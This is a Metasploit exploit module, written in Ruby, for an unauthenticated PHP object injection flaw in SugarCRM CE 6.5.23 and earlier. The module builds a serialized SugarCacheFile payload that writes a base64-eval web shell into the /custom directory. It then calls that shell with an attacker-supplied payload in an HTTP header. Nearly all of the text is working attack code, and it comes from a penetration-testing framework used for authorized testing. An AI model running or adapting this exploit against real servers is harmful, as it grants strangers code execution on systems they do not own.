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## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'SugarCRM REST Unserialize PHP Code Execution', 'Description'=> %q{ This module exploits a PHP Object Injection vulnerability in SugarCRM CE <= 6.5.23 which could be abused to allow unauthenticated users to execute arbitrary PHP code with the permissions of the webserver. The dangerous unserialize() call exists in the '/service/core/REST/SugarRestSerialize.php' script. The exploit abuses the __destruct() method from the SugarCacheFile class to write arbitrary PHP code into the /custom directory. }, 'Author' => 'EgiX', 'License'=> MSF_LICENSE, 'References' => [ ['URL', 'http://karmainsecurity.com/KIS-2016-07'], ['URL', 'http://www.sugarcrm.com/security/sugarcrm-sa-2016-001'], ['URL', 'http://www.sugarcrm.com/security/sugarcrm-sa-2016-008'], ['URL', 'https://bugs.php.net/bug.php?id=72663'] ], 'Privileged' => false, 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Targets'=> [ ['SugarCRM CE <= 6.5.23', {}] ], 'DefaultTarget'=> 0, 'DisclosureDate' => 'Jun 23 2016' )) register_options( [ OptString.new('TARGETURI', [ true, "The base path to the web application", "/sugarcrm/"]) ], self.class) end def exploit upload_php = '/custom/' + rand_text_alpha(rand(4)+8) + '.php' payload_serialized ="O:+14:\"SugarCacheFile\":23:{S:17:\"\\00*\\00_cacheFileName\";" payload_serialized << "s:#{upload_php.length+2}:\"..#{upload_php}\";S:16:\"\\00*\\00" payload_serialized << "_cacheChanged\";b:1;S:14:\"\\00*\\00_localStore\";a:1:{i:0;s:55" payload_serialized << ":\"<?php eval(base64_decode($_SERVER['HTTP_PAYLOAD'])); ?>\";}}" print_status("#{peer} - Exploiting the unserialize() to upload PHP code") res = send_request_cgi( { 'uri'=> normalize_uri(target_uri.path, 'service/v4/rest.php'), 'method' => 'POST', 'vars_post' => { 'method' => 'login', 'input_type' => 'Serialize', 'rest_data'=> payload_serialized } }) if not res or res.code != 200 print_error("#{peer} - Exploit failed: #{res.code}") return end register_files_for_cleanup(File.basename(upload_php)) print_status("#{peer} - Executing the payload #{upload_php}") res = send_request_cgi( { 'method'=> 'GET', 'uri' => normalize_uri(target_uri.path, upload_php), 'headers' => { 'payload' => Rex::Text.encode_base64(payload.encoded) } }) if res and res.code != 200 print_error("#{peer} - Payload execution failed: #{res.code}") return end end end |
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